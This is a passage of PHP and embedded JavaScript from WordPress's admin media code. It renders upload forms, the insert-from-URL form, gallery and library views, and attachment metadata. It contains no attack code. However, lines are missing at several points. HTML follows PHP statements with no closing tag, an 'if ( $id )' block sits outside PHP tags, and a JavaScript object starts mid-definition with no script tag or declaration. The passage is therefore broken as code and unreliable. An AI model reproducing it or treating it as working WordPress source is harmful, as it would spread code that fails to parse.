			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		$item .= "</td>\n\t\t</tr>\n";

$extra_rows = array();

if ( !empty( $field['errors'] ) )
			foreach ( array_unique( (array) $field['errors'] ) as $error )
				$extra_rows['error'][] = $error;

if ( !empty( $field['extra_rows'] ) )
			foreach ( $field['extra_rows'] as $class => $rows )
				foreach ( (array) $rows as $html )
					$extra_rows[$class][] = $html;

foreach ( $extra_rows as $class => $rows )
			foreach ( $rows as $html )
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
	}

if ( !empty( $form_fields['_final'] ) )
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	if ( $item )
		$item = '<table class="compat-attachment-fields">' . $item . '</table>';

foreach ( $hidden_fields as $hidden_field => $value ) {
		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
	}

if ( $item )
		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;

return array(
		'item'   => $item,
		'meta'   => $media_meta,
	);
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 */
function media_upload_header() {
	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
	echo '<script type="text/javascript">post_id = ' . $post_id . ";</script>\n";
	if ( empty( $_GET['chromeless'] ) ) {
		echo '<div id="media-upload-header">';
		the_media_upload_tabs();
		echo '</div>';
	}
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param unknown_type $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab, $is_IE, $is_opera;

if ( ! _device_can_upload() ) {
		echo '<p>' . sprintf( __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://wordpress.org/mobile/' ) . '</p>';
		return;
	}

$upload_action_url = admin_url('async-upload.php');
	$post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
	$_type = isset($type) ? $type : '';
	$_tab = isset($tab) ? $tab : '';

$upload_size_unit = $max_upload_size = wp_max_upload_size();
	$sizes = array( 'KB', 'MB', 'GB' );

for ( $u = -1; $upload_size_unit > 1024 && $u < count( $sizes ) - 1; $u++ ) {
		$upload_size_unit /= 1024;
	}

if ( $u < 0 ) {
		$upload_size_unit = 0;
		$u = 0;
	} else {
		$upload_size_unit = (int) $upload_size_unit;
	}
?>

<div id="media-upload-notice"><?php

if (isset($errors['upload_notice']) )
		echo $errors['upload_notice'];

?></div>
<div id="media-upload-error"><?php

if (isset($errors['upload_error']) && is_wp_error($errors['upload_error']))
		echo $errors['upload_error']->get_error_message();

?></div>
<?php
if ( is_multisite() && !is_upload_space_available() ) {
	/**
	 * Fires when an upload will exceed the defined upload space quota for a network site.
	 *
	 * @since 3.5.0
	 */
	do_action( 'upload_ui_over_quota' );
	return;
}

/**
 * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
 *
 * @since 2.6.0
 */
do_action( 'pre-upload-ui' );

$post_params = array(
		"post_id" => $post_id,
		"_wpnonce" => wp_create_nonce('media-form'),
		"type" => $_type,
		"tab" => $_tab,
		"short" => "1",
);

/**
 * Filter the media upload post parameters.
 *
 * @since 3.1.0 As 'swfupload_post_params'
 * @since 3.3.0
 *
 * @param array $post_params An array of media upload parameters used by Plupload.
 */
$post_params = apply_filters( 'upload_post_params', $post_params );

$plupload_init = array(
	'runtimes'            => 'html5,flash,silverlight,html4',
	'browse_button'       => 'plupload-browse-button',
	'container'           => 'plupload-upload-ui',
	'drop_element'        => 'drag-drop-area',
	'file_data_name'      => 'async-upload',
	'url'                 => $upload_action_url,
	'flash_swf_url'       => includes_url( 'js/plupload/plupload.flash.swf' ),
	'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ),
	'filters' => array(
		'max_file_size'   => $max_upload_size . 'b',
	),
	'multipart_params'    => $post_params,
);

// Multi-file uploading doesn't currently work in iOS Safari,
// single-file allows the built-in camera to be used as source for images
if ( wp_is_mobile() )
	$plupload_init['multi_selection'] = false;

/**
 * Filter the default Plupload settings.
 *
 * @since 3.3.0
 *
 * @param array $plupload_init An array of default settings used by Plupload.
 */
$plupload_init = apply_filters( 'plupload_init', $plupload_init );

<div id="plupload-upload-ui" class="hide-if-no-js">
<?php
/**
 * Fires before the upload interface loads.
 *
 * @since 2.6.0 As 'pre-flash-upload-ui'
 * @since 3.3.0
 */
do_action( 'pre-plupload-upload-ui' ); ?>
<div id="drag-drop-area">
	<div class="drag-drop-inside">
	<p class="drag-drop-info"><?php _e('Drop files here'); ?></p>
	<p><?php _ex('or', 'Uploader: Drop files here - or - Select Files'); ?></p>
	<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e('Select Files'); ?>" class="button" /></p>
	</div>
</div>
<?php
/**
 * Fires after the upload interface loads.
 *
 * @since 2.6.0 As 'post-flash-upload-ui'
 * @since 3.3.0
 */
do_action( 'post-plupload-upload-ui' ); ?>
</div>

<span class="max-upload-size"><?php printf( __( 'Maximum upload file size: %d%s.' ), esc_html($upload_size_unit), esc_html($sizes[$u]) ); ?></span>
<?php

/**
	 * Fires on the post upload UI screen.
	 *
	 * Legacy (pre-3.5.0) media workflow hook.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-upload-ui' );
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param string $type
 * @param object $errors
 * @param integer $id
 */
function media_upload_type_form($type = 'file', $errors = null, $id = null) {

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] )? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");

/**
	 * Filter the media upload form action URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $form_action_url The media upload form action URL.
	 * @param string $type            The type of media. Default 'file'.
	 */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class = 'media-upload-form type-form validate';

if ( get_user_setting('uploader') )
		$form_class .= ' html-uploader';
?>

<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
<?php submit_button( '', 'hidden', 'save', false ); ?>
<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
<?php wp_nonce_field('media-form'); ?>

<?php media_upload_form( $errors ); ?>

if ( $id ) {
	if ( !is_wp_error($id) ) {
		add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
		echo get_media_items( $id, $errors );
	} else {
		echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div></div>';
		exit;
	}
}
?></div>

<p class="savebutton ml-submit">
<?php submit_button( __( 'Save all changes' ), 'button', 'save', false ); ?>
</p>
</form>
<?php
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.7.0
 *
 * @param string $type
 * @param object $errors
 * @param integer $id
 */
function media_upload_type_url_form($type = null, $errors = null, $id = null) {
	if ( null === $type )
		$type = 'image';

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class = 'media-upload-form type-form validate';

if ( get_user_setting('uploader') )
		$form_class .= ' html-uploader';
?>

<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
<?php wp_nonce_field('media-form'); ?>

width : '',
	height : '',
	align : 'alignnone',

insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';

if ( '' == f.src.value || '' == t.width )
			return false;

if ( f.alt.value )
			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');

<?php
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		?>
		if ( f.caption.value ) {
			caption = f.caption.value.replace(/\r\n|\r/g, '\n');
			caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
				return a.replace(/[\r\n\t]+/, ' ');
			});

caption = caption.replace(/\s*\n\s*/g, '<br />');
		}
<?php } ?>

cls = caption ? '' : ' class="'+t.align+'"';

html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';

if ( f.url.value ) {
			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
			html = '<a href="'+url+'">'+html+'</a>';
		}

if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';

var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
		return false;
	},

resetImageData : function() {
		var t = addExtImage;

t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').innerHTML = '*';
		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
	},

updateImageData : function() {
		var t = addExtImage;

t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
	},

getImageData : function() {
		if ( jQuery('table.describe').hasClass('not-image') )
			return;

var t = addExtImage, src = document.forms[0].src.value;

if ( ! src ) {
			t.resetImageData();
			return false;
		}

document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?>" alt="" width="16" />';
		t.preloadImg = new Image();
		t.preloadImg.onload = t.updateImageData;
		t.preloadImg.onerror = t.resetImageData;
		t.preloadImg.src = src;
	}
}

jQuery(document).ready( function($) {
	$('.media-types input').click( function() {
		$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
	});
});

//]]>
</script>

<div id="media-items">
<div class="media-item media-blank">
<?php
/**
 * Filter the insert media from URL form HTML.
 *
 * @since 3.3.0
 *
 * @param string $form_html The insert from URL form HTML.
 */
echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );
?>
</div>
</div>
</form>
<?php
}

/**
 * Adds gallery form to upload iframe
 *
 * @since 2.5.0
 *
 * @param array $errors
 */
function media_upload_gallery_form($errors) {
	global $redir_tab, $type;

$redir_tab = 'gallery';
	media_upload_header();

$post_id = intval($_REQUEST['post_id']);
	$form_action_url = admin_url("media-upload.php?type=$type&tab=gallery&post_id=$post_id");
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class = 'media-upload-form validate';

if ( get_user_setting('uploader') )
		$form_class .= ' html-uploader';
?>

<p class="ml-submit">
<?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false, array( 'id' => 'save-all', 'style' => 'display: none;' ) ); ?>
<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
</p>

<p class="ml-submit">
<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
</p>
</div>
</form>
<?php
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $errors
 */
function media_upload_library_form($errors) {
	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url("media-upload.php?type=$type&tab=library&post_id=$post_id");
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class = 'media-upload-form validate';

if ( get_user_setting('uploader') )
		$form_class .= ' html-uploader';

$q = $_GET;
	$q['posts_per_page'] = 10;
	$q['paged'] = isset( $q['paged'] ) ? intval( $q['paged'] ) : 0;
	if ( $q['paged'] < 1 ) {
		$q['paged'] = 1;
	}
	$q['offset'] = ( $q['paged'] - 1 ) * 10;
	if ( $q['offset'] < 1 ) {
		$q['offset'] = 0;
	}

list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );

<ul class="subsubsub">
<?php
$type_links = array();
$_num_posts = (array) wp_count_attachments();
$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
foreach ( $matches as $_type => $reals )
	foreach ( $reals as $real )
		if ( isset($num_posts[$_type]) )
			$num_posts[$_type] += $_num_posts[$real];
		else
			$num_posts[$_type] = $_num_posts[$real];
// If available type specified by media button clicked, filter by that type
if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) {
	$_GET['post_mime_type'] = $type;
	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
}
if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' )
	$class = ' class="current"';
else
	$class = '';
$type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>'all', 'paged'=>false, 'm'=>false))) . "'$class>".__('All Types')."</a>";
foreach ( $post_mime_types as $mime_type => $label ) {
	$class = '';

if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
		continue;

if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) )
		$class = ' class="current"';

$type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>$mime_type, 'paged'=>false))) . "'$class>" . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), "<span id='$mime_type-counter'>" . number_format_i18n( $num_posts[$mime_type] ) . '</span>') . '</a>';
}
/**
 * Filter the media upload mime type list items.
 *
 * Returned values should begin with an <li> tag.
 *
 * @since 3.1.0
 *
 * @param array $type_links An array of list items containing mime type link HTML.
 */
echo implode(' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
unset($type_links);
?>
</ul>

<?php
$page_links = paginate_links( array(
	'base' => add_query_arg( 'paged', '%#%' ),
	'format' => '',
	'prev_text' => __('&laquo;'),
	'next_text' => __('&raquo;'),
	'total' => ceil($wp_query->found_posts / 10),
	'current' => $q['paged'],
));

if ( $page_links )
	echo "<div class='tablenav-pages'>$page_links</div>";
?>

<div class="alignleft actions">
<?php

$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";

$arc_result = $wpdb->get_results( $arc_query );

$month_count = count($arc_result);
$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;

if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
<select name='m'>
<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
<?php
foreach ($arc_result as $arc_row) {
	if ( $arc_row->yyear == 0 )
		continue;
	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );

if ( $arc_row->yyear . $arc_row->mmonth == $selected_month )
		$default = ' selected="selected"';
	else
		$default = '';

echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
	echo esc_html( $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear" );
	echo "</option>\n";
}
?>
</select>
<?php } ?>

<?php submit_button( __( 'Filter &#187;' ), 'button', 'post-query-submit', false ); ?>

</div>

<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">

<?php wp_nonce_field('media-form'); ?>
<?php //media_upload_form( $errors ); ?>

<div id="media-items">
<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
<?php echo get_media_items(null, $errors); ?>
</div>
<p class="ml-submit">
<?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false ); ?>
<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
</p>
</form>
<?php
}

/**
 * Creates the form for external url
 *
 * @since 2.7.0
 *
 * @param string $default_view
 * @return string the form html
 */
function wp_media_insert_url_form( $default_view = 'image' ) {
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		$caption = '
		<tr class="image-only">
			<th scope="row" class="label">
				<label for="caption"><span class="alignleft">' . __('Image Caption') . '</span></label>
			</th>
			<td class="field"><textarea id="caption" name="caption"></textarea></td>
		</tr>
';
	} else {
		$caption = '';
	}

$default_align = get_option('image_default_align');
	if ( empty($default_align) )
		$default_align = 'none';

if ( 'image' == $default_view ) {
		$view = 'image-only';
		$table_class = '';
	} else {
		$view = $table_class = 'not-image';
	}

return '
	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
	<table class="describe ' . $table_class . '"><tbody>
		<tr>
			<th scope="row" class="label" style="width:130px;">
				<label for="src"><span class="alignleft">' . __('URL') . '</span></label>
				<span class="alignright"><abbr id="status_img" title="required" class="required">*</abbr></span>
			</th>
			<td class="field"><input id="src" name="src" value="" type="text" aria-required="true" onblur="addExtImage.getImageData()" /></td>
		</tr>

<tr>
			<th scope="row" class="label">
				<label for="title"><span class="alignleft">' . __('Title') . '</span></label>
				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
			</th>
			<td class="field"><input id="title" name="title" value="" type="text" aria-required="true" /></td>
		</tr>

<tr class="not-image"><td></td><td><p class="help">' . __('Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;') . '</p></td></tr>

<tr class="image-only">
			<th scope="row" class="label">
				<label for="alt"><span class="alignleft">' . __('Alternative Text') . '</span></label>
			</th>
			<td class="field"><input id="alt" name="alt" value="" type="text" aria-required="true" />
			<p class="help">' . __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;') . '</p></td>
		</tr>
		' . $caption . '
		<tr class="align image-only">
			<th scope="row" class="label"><p><label for="align">' . __('Alignment') . '</label></p></th>
			<td class="field">
				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'none' ? ' checked="checked"' : '').' />
				<label for="align-none" class="align image-align-none-label">' . __('None') . '</label>
				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'left' ? ' checked="checked"' : '').' />
				<label for="align-left" class="align image-align-left-label">' . __('Left') . '</label>
				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'center' ? ' checked="checked"' : '').' />
				<label for="align-center" class="align image-align-center-label">' . __('Center') . '</label>
				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'right' ? ' checked="checked"' : '').' />
				<label for="align-right" class="align image-align-right-label">' . __('Right') . '</label>
			</td>
		</tr>

<tr class="image-only">
			<th scope="row" class="label">
				<label for="url"><span class="alignleft">' . __('Link Image To:') . '</span></label>
			</th>
			<td class="field"><input id="url" name="url" value="" type="text" /><br />

<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __('None') . '</button>
			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __('Link to image') . '</button>
			<p class="help">' . __('Enter a link URL or click above for presets.') . '</p></td>
		</tr>
		<tr class="image-only">
			<td></td>
			<td>
				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__('Insert into Post') . '" />
			</td>
		</tr>
		<tr class="not-image">
			<td></td>
			<td>
				' . get_submit_button( __( 'Insert into Post' ), 'button', 'insertonlybutton', false ) . '
			</td>
		</tr>
	</tbody></table>
';

}

/**
 * Displays the multi-file uploader message.
 *
 * @since 2.6.0
 */
function media_upload_flash_bypass() {
	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );

if ( $post = get_post() )
		$browser_uploader .= '&amp;post_id=' . intval( $post->ID );
	elseif ( ! empty( $GLOBALS['post_ID'] ) )
		$browser_uploader .= '&amp;post_id=' . intval( $GLOBALS['post_ID'] );

?>
	<p class="upload-flash-bypass">
	<?php printf( __( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" target="%2$s">browser uploader</a> instead.' ), $browser_uploader, '_blank' ); ?>
	</p>
	<?php
}
add_action('post-plupload-upload-ui', 'media_upload_flash_bypass');

/**
 * Displays the browser's built-in uploader message.
 *
 * @since 2.6.0
 */
function media_upload_html_bypass() {
	?>
	<p class="upload-html-bypass hide-if-no-js">
	   <?php _e('You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.'); ?>
	</p>
	<?php
}
add_action('post-html-upload-ui', 'media_upload_html_bypass');

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function media_upload_text_after() {}

/**
 * Displays the checkbox to scale images.
 *
 * @since 3.3.0
 */
function media_upload_max_image_resize() {
	$checked = get_user_setting('upload_resize') ? ' checked="true"' : '';
	$a = $end = '';

if ( current_user_can( 'manage_options' ) ) {
		$a = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
		$end = '</a>';
	}
?>
<p class="hide-if-no-js"><label>
<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
<?php
	/* translators: %1$s is link start tag, %2$s is link end tag, %3$d is width, %4$d is height*/
	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );
?>
</label></p>
<?php
}

/**
 * Displays the out of storage quota message in Multisite.
 *
 * @since 3.5.0
 */
function multisite_over_quota_message() {
	echo '<p>' . sprintf( __( 'Sorry, you have used all of your storage quota of %s MB.' ), get_space_allowed() ) . '</p>';
}

/**
 * Displays the image and editor in the post editor
 *
 * @since 3.5.0
 */
function edit_form_image_editor( $post ) {
	$open = isset( $_GET['image-editor'] );
	if ( $open )
		require_once ABSPATH . 'wp-admin/includes/image-edit.php';

$thumb_url = false;
	if ( $attachment_id = intval( $post->ID ) )
		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );

$filename = esc_html( basename( $post->guid ) );
	$title = esc_attr( $post->post_title );
	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

$att_url = wp_get_attachment_url( $post->ID ); ?>
	<div class="wp_attachment_holder">
	<?php
	if ( wp_attachment_is_image( $post->ID ) ) :
		$image_edit_button = '';
		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
			$nonce = wp_create_nonce( "image_editor-$post->ID" );
			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
		}
	?>

<div<?php if ( $open ) echo ' style="display:none"'; ?> class="wp_attachment_image" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
			<p><?php echo $image_edit_button; ?></p>
		</div>
		<div<?php if ( ! $open ) echo ' style="display:none"'; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
			<?php if ( $open ) wp_image_editor( $attachment_id ); ?>
		</div>
	<?php
	elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'audio/' ) ):

wp_maybe_generate_attachment_metadata( $post );

echo wp_audio_shortcode( array( 'src' => $att_url ) );

elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'video/' ) ):

wp_maybe_generate_attachment_metadata( $post );

$meta = wp_get_attachment_metadata( $attachment_id );
		$w = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
		$h = ! empty( $meta['height'] ) ? $meta['height'] : 0;
		if ( $h && $w < $meta['width'] ) {
			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
		}

$attr = array( 'src' => $att_url );
		if ( ! empty( $w ) && ! empty( $h ) ) {
			$attr['width'] = $w;
			$attr['height'] = $h;
		}

echo wp_video_shortcode( $attr );

endif; ?>
	</div>
	<div class="wp_attachment_details edit-form-section">
		<p>
			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
		</p>

<?php if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) : ?>
		<p>
			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
			<input type="text" class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" value="<?php echo esc_attr( $alt_text ); ?>" />
		</p>
	<?php endif; ?>

<?php
		$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
		$editor_args = array(
			'textarea_name' => 'content',
			'textarea_rows' => 5,
			'media_buttons' => false,
			'tinymce' => false,
			'quicktags' => $quicktags_settings,
		);
	?>

<label for="content"><strong><?php _e( 'Description' ); ?></strong><?php
	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		echo ': ' . __( 'Displayed on attachment pages.' );
	}

?>
	</label>
	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>

</div>
	<?php
	$extras = get_compat_media_markup( $post->ID );
	echo $extras['item'];
	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
}

/**
 * Displays non-editable attachment metadata in the publish metabox
 *
 * @since 3.5.0
 */
function attachment_submitbox_metadata() {
	$post = get_post();

$filename = esc_html( wp_basename( $post->guid ) );

$media_dims = '';
	$meta = wp_get_attachment_metadata( $post->ID );
	if ( isset( $meta['width'], $meta['height'] ) )
		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	/** This filter is documented in wp-admin/includes/media.php */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

$att_url = wp_get_attachment_url( $post->ID );
?>
	<div class="misc-pub-section misc-pub-attachment">
			<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
			<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" value="<?php echo esc_attr($att_url); ?>" />
	</div>
	<div class="misc-pub-section misc-pub-filename">
		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
	</div>
	<div class="misc-pub-section misc-pub-filetype">
		<?php _e( 'File type:' ); ?> <strong><?php
			if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
				echo esc_html( strtoupper( $matches[1] ) );
				list( $mime_type ) = explode( '/', $post->post_mime_type );
				if ( $mime_type !== 'image' && ! empty( $meta['mime_type'] ) ) {
					if ( $meta['mime_type'] !== "$mime_type/" . strtolower( $matches[1] ) ) {
						echo ' (' . $meta['mime_type'] . ')';
					}
				}
			} else {
				echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
			}
		?></strong>
	</div>

<?php
		$file  = get_attached_file( $post->ID );
		$file_size = false;

if ( isset( $meta['filesize'] ) )
			$file_size = $meta['filesize'];
		elseif ( file_exists( $file ) )
			$file_size = filesize( $file );

if ( ! empty( $file_size ) ) : ?>
			<div class="misc-pub-section misc-pub-filesize">
				<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
			</div>
			<?php
		endif;

if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {

/**
		 * Filter the audio and video metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 *
		 * @param array $fields An array of the attachment metadata keys and labels.
		 */
		$fields = apply_filters( 'media_submitbox_misc_sections', array(
			'length_formatted' => __( 'Length:' ),
			'bitrate'          => __( 'Bitrate:' ),
		) );

foreach ( $fields as $key => $label ) {
			if ( empty( $meta[ $key ] ) ) {
				continue;
			}
	?>
		<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
			<?php echo $label ?> <strong><?php
				switch ( $key ) {
					case 'bitrate' :
						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
						if ( ! empty( $meta['bitrate_mode'] ) ) {
							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
						}
						break;
					default:
						echo esc_html( $meta[ $key ] );
						break;
				}
			?></strong>
		</div>
	<?php
		}

/**
		 * Filter the audio attachment metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
